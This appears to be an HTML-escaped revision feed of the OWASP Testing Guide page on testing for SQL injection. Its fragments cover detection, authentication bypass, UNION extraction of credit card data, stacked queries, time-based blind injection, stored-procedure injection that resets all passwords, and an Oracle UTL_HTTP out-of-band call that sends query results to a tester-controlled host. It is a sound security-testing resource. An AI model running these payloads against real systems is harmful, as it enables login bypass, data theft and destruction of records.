&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELET user FROM DUAL)--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this&lt;br /&gt;
example, the tester is concatenating the value 10 with the result of the&lt;br /&gt;
function UTL_HTTP.request. This Oracle function will&lt;br /&gt;
try to connect to ‘testerserver’ and make a HTTP GET&lt;br /&gt;
request containing the return from the query “SELECT user FROM DUAL”.  The tester can set up a webserver&lt;br /&gt;
(e.g. Apache) or use the Netcat tool:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
/home/tester/nc –nLp 80&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
GET /SCOTT HTTP/1.1&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Host: testerserver.com&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Connection: close&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
=== Time day Exploitation technique ===&lt;br /&gt;
  &lt;br /&gt;
The Boolean&lt;br /&gt;
exploitation technique is very useful when the tester find a [[Blind SQL Injection]] situation, in&lt;br /&gt;
which nothing is known on the outcome of an operation. This technique consists&lt;br /&gt;
in sending an injected query and in case the conditional is true, the tester&lt;br /&gt;
can monitor the time taken to for the server to respond. If there is a delay,&lt;br /&gt;
the tester can assume the result of the conditional query is true. This&lt;br /&gt;
exploitation technique can be different from DBMS to DBMS (check DBMS specific&lt;br /&gt;
session)&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SELECT * FROM products WHERE id_product=$id_product&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the&lt;br /&gt;
query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be (e.g. MySql 5.x):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this example&lt;br /&gt;
the tester if checking whether the MySql version is&lt;br /&gt;
5.x or not, making the server to delay the answer in 5 seconds. The tester can&lt;br /&gt;
increase the delay’s time and monitor the responses. The tester also doesn’t&lt;br /&gt;
need to wait for the response. Sometimes he can set a very high value (e.g.&lt;br /&gt;
100) and cancel the request after some seconds.&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
=== Stored Procedure Injection ===&lt;br /&gt;
  &lt;br /&gt;
When using dynamic SQL within a stored procedure, the application must&lt;br /&gt;
properly sanitize the user input to eliminate the risk of code injection. If&lt;br /&gt;
not sanitized, the user could enter malicious SQL that will be executed within&lt;br /&gt;
the stored procedure.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following '''SQL Server Stored Procedure:'''&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Create&lt;br /&gt;
procedure user_login @username varchar(20), @passwd varchar(20) As&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Declare @sqlstring varchar(250)&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Set @sqlstring  = ‘&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Select 1&lt;br /&gt;
from users&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Where&lt;br /&gt;
username = ‘ + @username + ‘ and passwd&lt;br /&gt;
= ‘ + @passwd&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
exec(@sqlstring)&lt;br /&gt;
Go&lt;br /&gt;
User input:&lt;br /&gt;
anyusername or 1=1'&lt;br /&gt;
anypassword&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This procedure does not sanitize the input, therefore allowing the&lt;br /&gt;
return value to show an existing record with these&lt;br /&gt;
parameters.&amp;lt;br&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a&lt;br /&gt;
user, but consider a dynamic reporting query where the user selects the columns&lt;br /&gt;
to view. The user could insert malicious code into this scenario and compromise&lt;br /&gt;
the data. &amp;lt;br&amp;gt;&lt;br /&gt;
Consider the following '''SQL Server Stored Procedure:'''&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Create&lt;br /&gt;
procedure get_report @columnamelist varchar(7900)&lt;br /&gt;
As&lt;br /&gt;
Declare @sqlstring varchar(8000)&lt;br /&gt;
Set @sqlstring  = ‘&lt;br /&gt;
Select ‘ + @columnamelist + ‘ from ReportTable‘&lt;br /&gt;
exec(@sqlstring)&lt;br /&gt;
Go&lt;br /&gt;
 &lt;br /&gt;
User input:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
1 from&lt;br /&gt;
users; update users set password = 'password'; select *&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This will result in the report running and all users’ passwords being&lt;br /&gt;
updated.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Automated Exploitation ===&lt;br /&gt;
 &lt;br /&gt;
Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester&lt;br /&gt;
can find information how to perform an automated auditing using SQLMap.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
https://www.owasp.org/index.php/Automated_Audit_using_SQLMa&lt;br /&gt;
&lt;br /&gt;
    &lt;br /&gt;
== Related Articles ==&lt;br /&gt;
&lt;br /&gt;
* [[Top 10 2007-Injection Flaws]]&lt;br /&gt;
* [[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Technology specific Testing Guide pages have been created for the following DBMSs:&lt;br /&gt;
&lt;br /&gt;
* [[Testing for Oracle| Oracle]]&lt;br /&gt;
* [[Testing for MySQL| MySQL]]&lt;br /&gt;
* [[Testing for SQL Server  | SQL Server]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Victor Chapela: &amp;quot;Advanced SQL Injection&amp;quot; - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt&lt;br /&gt;
* Chris Anley: &amp;quot;Advanced SQL Injection In SQL Server Applications&amp;quot; - http://www.thomascookegypt.com/holidays/pdfpkgs/931.pdf&lt;br /&gt;
* Chris Anley: &amp;quot;More Advanced SQL Injection&amp;quot; - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf&lt;br /&gt;
* David Litchfield: &amp;quot;Data-mining with SQL Injection and Inference&amp;quot; - http://www.databasesecurity.com/webapps/sqlinference.pdf&lt;br /&gt;
* Imperva: &amp;quot;Blinded SQL Injection&amp;quot; - https://www.imperva.com/lg/lgw.asp?pid=369&lt;br /&gt;
* Ferruh Mavituna: &amp;quot;SQL Injection Cheat Sheet&amp;quot; - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/&lt;br /&gt;
* Kevin Spett from SPI Dynamics: &amp;quot;SQL Injection&amp;quot; - http://packetstorm.codar.com.br/papers/general/SQLInjectionWhitePaper.pdf&lt;br /&gt;
* Kevin Spett from SPI Dynamics: &amp;quot;Blind SQL Injection&amp;quot; - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* SQL Injection Fuzz Strings (from wfuzz tool) - http://yehg.net/lab/pr0js/pentest/wordlists/injections/SQL.txt&lt;br /&gt;
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]&lt;br /&gt;
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector]&amp;lt;br&amp;gt;&lt;br /&gt;
* ilo--, Reversing.org - [http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html sqlbftools]&amp;lt;br&amp;gt;&lt;br /&gt;
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/&lt;br /&gt;
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]&lt;br /&gt;
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/pangolin.html Pangolin]&lt;br /&gt;
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/&lt;br /&gt;
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://sqldumper.ruizata.com/ SqlDumper]&amp;lt;br&amp;gt;&lt;br /&gt;
* http://sqlsus.sourceforge.net&lt;br /&gt;
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl&lt;/div&gt;</summary>
		<author><name>Ismael Rocha</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=140050</id>
		<title>Testing for SQL Injection (OTG-INPVAL-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=140050"/>
				<updated>2012-11-21T22:57:38Z</updated>
		
		<summary type="html">&lt;p&gt;Ismael Rocha: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
                &lt;br /&gt;
'''Brief Summary '''&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
An [[SQL injection]] attack consists of insertion or&lt;br /&gt;
&amp;amp;quot;injection&amp;amp;quot; of a SQL query via the input data from the client to the&lt;br /&gt;
application. A successful SQL injection exploit can read sensitive data from&lt;br /&gt;
the database, modify database data (insert/update/delete), execute&lt;br /&gt;
administration operations on the database (such as shutdown the DBMS), recover&lt;br /&gt;
the content of a given file existing on the DBMS file system or write files into&lt;br /&gt;
the file system, and, in some cases, issue commands to the operating system.&lt;br /&gt;
SQL injection attacks are a type of [[injection attack]], in which SQL commands are injected into data-plane input in order to&lt;br /&gt;
affect the execution of predefined SQL commands.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''Description of the Issue '''&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In general the way web&lt;br /&gt;
applications construct SQL statements involving SQL syntax wrote by the&lt;br /&gt;
programmers mixed with user-supplied data. Example:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
 select title, text from news where id=$id&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The red part is the SQL static&lt;br /&gt;
part supplied by the programmer and the variable $id contains user-supplied&lt;br /&gt;
data, making the SQL statement dynamic.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Because the way it was&lt;br /&gt;
constructed, the user can supply crafted input trying to make the original SQL&lt;br /&gt;
statement execute commands at user’s behavior. The example illustrates the&lt;br /&gt;
user-supplied data “10 or 1=1”, changing the logic of the SQL statement,&lt;br /&gt;
modifying the WHERE clause adding a condition “or 1=1”.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
select title, text from news where id=10 or 1=1&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SQL Injection attacks can&lt;br /&gt;
be divided into the following three classes:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
* Inband: data is extracted using the same      channel that is used to inject the SQL code. This is the most      straightforward kind of attack, in which the retrieved data is presented      directly in the application web page.&lt;br /&gt;
* Out-of-band: data is retrieved using a      different channel (e.g., an email with the results of the query is      generated and sent to the tester).&lt;br /&gt;
* Inferential: there is no actual transfer      of data, but the tester is able to reconstruct the information by sending      particular requests and observing the resulting behavior of the DB Server.&lt;br /&gt;
 &lt;br /&gt;
Independent of the attack&lt;br /&gt;
class, a successful SQL Injection attack requires the attacker to craft a&lt;br /&gt;
syntactically correct SQL Query. If the application returns an error message&lt;br /&gt;
generated by an incorrect query, then it is easy to reconstruct the logic of&lt;br /&gt;
the original query and, therefore, understand how to perform the injection&lt;br /&gt;
correctly. However, if the application hides the error details, then the tester&lt;br /&gt;
must be able to reverse engineer the logic of the original query. The latter&lt;br /&gt;
case is known as &amp;amp;quot;[[Blind SQL Injection]]&amp;amp;quot;.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
About the techniques to&lt;br /&gt;
exploit SQL injection flaws there are five commons techniques. Also those&lt;br /&gt;
techniques sometimes can be used in a combined way (e.g. union operator and&lt;br /&gt;
out-of-band):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
* Union Operator: usually can be used when      the SQL injection flaw happens in a SELECT statement, making possible to      combine two queries into a single result.&lt;br /&gt;
* Boolean: use Boolean condition to verify      if certain conditions are true or false.&lt;br /&gt;
* Error based: this technique forces the      database to generate an error making&lt;br /&gt;
* Out-of-band: technique used to retrieve data      using a different channel (e.g., make a HTTP connection to send the      results to a web server).&lt;br /&gt;
* Time delay: use database commands (e.g.      sleep) to delay answers in conditional queries. It useful when attacker doesn’t      have some kind of answer from the application.&lt;br /&gt;
 &lt;br /&gt;
=== SQL Injection Detection ===&lt;br /&gt;
 &lt;br /&gt;
The first step in this test is to understand when the&lt;br /&gt;
application connects to a DB Server in order to access some data. Typical&lt;br /&gt;
examples of cases when an application needs to talk to a DB include:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
* Authentication forms: when authentication is      performed using a web form, chances are that the user credentials are      checked against a database that contains all usernames and passwords (or,      better, password hashes)&lt;br /&gt;
* Search engines: the string submitted by the user      could be used in a SQL query that extracts all relevant records from a      database&lt;br /&gt;
* E-Commerce sites: the products and their      characteristics (price, description, availability etc) are very likely to      be stored in a relational database.&lt;br /&gt;
 &lt;br /&gt;
The tester has to make a list of all input fields&lt;br /&gt;
whose values could be used in crafting a SQL query, including the hidden fields&lt;br /&gt;
of POST requests and then test them separately, trying to interfere with the&lt;br /&gt;
query and to generate an error. Consider also HTTP headers and Cookies. The&lt;br /&gt;
very first test usually consists of adding a single quote (') or a semicolon&lt;br /&gt;
(;) to the field under test. The first is used in SQL as a string terminator&lt;br /&gt;
and, if not filtered by the application, would lead to an incorrect query. The&lt;br /&gt;
second is used to end a SQL statement and, if it is not filtered, it is also&lt;br /&gt;
likely to generate an error. The output of a vulnerable field might resemble&lt;br /&gt;
the following (on a Microsoft SQL Server, in this case):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e14'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;character string ''.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;/target/target.asp, line 113&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
Also comments (--) and other SQL keywords like 'AND'&lt;br /&gt;
and 'OR' can be used to try to modify the query. A very simple but sometimes&lt;br /&gt;
still effective technique is simply to insert a string where a number is&lt;br /&gt;
expected, as an error like the following might be generated:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt; Microsoft OLE DB Provider for ODBC Drivers error '80040e07'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; varchar value 'test' to a column of data type int.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; /target/target.asp, line 113&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
Monitor all the responses from the web server and have&lt;br /&gt;
a look at the HTML/javascript source code. Sometimes&lt;br /&gt;
the error is present inside them but for some reason (e.g. javascript&lt;br /&gt;
error) is not presented to the user. A full error message, like those in the&lt;br /&gt;
examples, provides a wealth of information to the tester in order to mount a&lt;br /&gt;
successful injection. However, applications often do not provide so much&lt;br /&gt;
detail: a simple '500 Server Error' or a custom error page might be issued,&lt;br /&gt;
meaning that we need to use blind injection techniques. In any case, it is very&lt;br /&gt;
important to test each field separately: only one variable must vary while all&lt;br /&gt;
the other remain constant, in order to precisely understand which parameters&lt;br /&gt;
are vulnerable and which are not.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Standard SQL Injection Testing ===&lt;br /&gt;
 &lt;br /&gt;
Example 1 (classical SQL Injection):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE Username='$username' AND Password='$password' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
A similar query is generally used from the web&lt;br /&gt;
application in order to authenticate a user. If the query returns a value it&lt;br /&gt;
means that inside the database a user with that&lt;br /&gt;
credentials exists, then the user is allowed to login to the system, otherwise&lt;br /&gt;
the access is denied. The values of the input fields are generally obtained&lt;br /&gt;
from the user through a web form. Suppose we insert the following Username and&lt;br /&gt;
Password values:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = 1' or '1' = '1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
The query will be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
If we suppose that the values of the parameters are&lt;br /&gt;
sent to the server through the GET method, and if the domain of the vulnerable&lt;br /&gt;
web site is www.example.com, the request that we'll carry out will be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&amp;amp;amp;password=1'%20or%20'1'%20=%20'1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
After a short analysis we notice that the query&lt;br /&gt;
returns a value (or a set of values) because the condition is always true (OR&lt;br /&gt;
1=1). In this way the system has authenticated the user without knowing the&lt;br /&gt;
username and password.&amp;lt;br&amp;gt; ''In some systems the first row of a user table would be an administrator&lt;br /&gt;
user. This may be the profile returned in some cases.'' Another example of&lt;br /&gt;
query is the following:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
In this case, there are two problems, one due to the&lt;br /&gt;
use of the parentheses and one due to the use of MD5 hash function. First of&lt;br /&gt;
all, we resolve the problem of the parentheses. That simply consists of adding&lt;br /&gt;
a number of closing parentheses until we obtain a corrected query. To resolve&lt;br /&gt;
the second problem, we try to invalidate the second condition. We add to our&lt;br /&gt;
query a final symbol that means that a comment is beginning. In this way,&lt;br /&gt;
everything that follows such symbol is considered a comment. Every DBMS has its&lt;br /&gt;
own symbols of comment, however, a common symbol to the greater part of the&lt;br /&gt;
database is /*. In Oracle the symbol is &amp;amp;quot;--&amp;amp;quot;. This said, the values&lt;br /&gt;
that we'll use as Username and Password are:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1'))/*&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = foo&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
In this way, we'll get the following query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
The URL request will be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&amp;amp;amp;password=foo &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
This returns a number of values. Sometimes, the&lt;br /&gt;
authentication code verifies that the number of returned tuple&lt;br /&gt;
is exactly equal to 1. In the previous examples, this situation would be&lt;br /&gt;
difficult (in the database there is only one value per user). In order to go&lt;br /&gt;
around this problem, it is enough to insert a SQL command that imposes the&lt;br /&gt;
condition that the number of the returned tuple must&lt;br /&gt;
be one. (One record returned) In order to reach this goal, we use the operator&lt;br /&gt;
&amp;amp;quot;LIMIT &amp;amp;lt;num&amp;amp;gt;&amp;amp;quot;, where &amp;amp;lt;num&amp;amp;gt; is the number of the tuples that we expect to be returned. With respect to the&lt;br /&gt;
previous example, the value of the fields Username and&lt;br /&gt;
Password will be modified as follows:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1')) LIMIT 1/* &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = foo &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
In this way, we create a request like the follow:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&amp;amp;amp;password=foo &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
Example 2 (simple SELECT statement):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SELECT * FROM products WHERE id_product=$id_product&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the&lt;br /&gt;
query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
http://www.example.com/product.php?id=10&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
When the tester&lt;br /&gt;
try a valid value (e.g. 10 in this case), the application will return the&lt;br /&gt;
description of a product.&lt;br /&gt;
A good way to test if the application is vulnerable in this scenario&lt;br /&gt;
is play with logic, using the operators AND and OR.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the request:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
http://www.example.com/product.php?id=10 AND 1=2&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SELECT * FROM products WHERE id_product=10&lt;br /&gt;
AND 1=2&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this case, probably the application would return&lt;br /&gt;
some message telling us there is no content available or a blanket page. Then&lt;br /&gt;
the tester can send a true statement and check if there is a valid result:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
http://www.example.com/product.php?id=10 AND 1=1&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This second example can also be used to test Blind Sql Injection.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Example 3 (Stacked queries):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Depending on the API which the web application is using&lt;br /&gt;
and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER)  is possible to&lt;br /&gt;
execute multiple queries in one call.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SELECT * FROM products WHERE id_product=$id_product&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
A way to exploit the above scenario would be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
http://www.example.com/product.php?id=10; INSERT INTO&lt;br /&gt;
users (…)&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This way is possible to execute many queries in a row&lt;br /&gt;
and independent on the first query.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Fingerprinting the Database ===&lt;br /&gt;
 &lt;br /&gt;
Even the SQL language is a standard,&lt;br /&gt;
every DBMS has its peculiarity and differs from each other in many aspects like&lt;br /&gt;
especial commands, functions to retrieve data such as users names and&lt;br /&gt;
databases, features, comments line etc.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
When the testers move to a more advanced SQL injection&lt;br /&gt;
exploitation they need to know the backend.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
1) The first way to find out which is the backend is by&lt;br /&gt;
observing the error returned by the application. Follow are some examples:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
MySql:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
You have an error in your SQL syntax; check the manual&lt;br /&gt;
that corresponds to your MySQL server version for the&lt;br /&gt;
right syntax to use near '\'' at line 1&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Oracle:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
ORA-00933: SQL command not properly ended&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SQL Server:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Microsoft SQL Native Client error ‘80040e14’&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Unclosed quotation mark after the character string&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
PostgreSQL:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Query failed: ERROR: syntax error at or near&lt;br /&gt;
&amp;amp;quot;’&amp;amp;quot; at character 56 in /www/site/test.php on line 121.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
2) If there is no error message or a custom error message,&lt;br /&gt;
the tester can try to inject into string field using concatenation technique:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
MySql:  ‘test’ + ‘ing’&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SQL Server: ‘test’ ‘ing’&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Oracle: ‘test’||’ing’&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
PostgreSQL: ‘test’||’ing’&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Union Exploitation technique ===&lt;br /&gt;
  &lt;br /&gt;
The UNION operator is used&lt;br /&gt;
in SQL injections to join a query, purposely forged by the tester, to the&lt;br /&gt;
original query. The result of the forged query will be joined to the result of&lt;br /&gt;
the original query, allowing the tester to obtain the values of fields of other&lt;br /&gt;
tables. We suppose for our examples that the query executed from the server is&lt;br /&gt;
the following:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SELECT&lt;br /&gt;
Name, Phone, Address FROM Users WHERE Id=$id&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will set the following&lt;br /&gt;
Id value:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
$id=1&lt;br /&gt;
UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will have the following&lt;br /&gt;
query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SELECT&lt;br /&gt;
Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
which will join the result of the original query&lt;br /&gt;
with all the credit card users. The keyword '''ALL''' is necessary to get&lt;br /&gt;
around queries that use the keyword DISTINCT. Moreover, we notice that beyond&lt;br /&gt;
the credit card numbers, we have selected other two values. These two values&lt;br /&gt;
are necessary, because the two query must have an&lt;br /&gt;
equal number of parameters, in order to avoid a syntax error.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The first&lt;br /&gt;
information the tester need to exploit the SQL injection vulnerability using&lt;br /&gt;
such technique is to find the right numbers of columns in the SELECT statement.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In order to&lt;br /&gt;
achieve it the tester can use ORDER BY clause followed by a number indicating&lt;br /&gt;
the numeration of database’s column selected:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
http://www.example.com/product.php?id=10 ORDER BY 10—&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
If the query executes with success the tester will see&lt;br /&gt;
the tester can assume, in this example, there are 10 or more columns in the&lt;br /&gt;
SELECT statement. If the query fails and there is an error message available&lt;br /&gt;
probably it would be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Unknown column '10' in 'order clause'&lt;br /&gt;
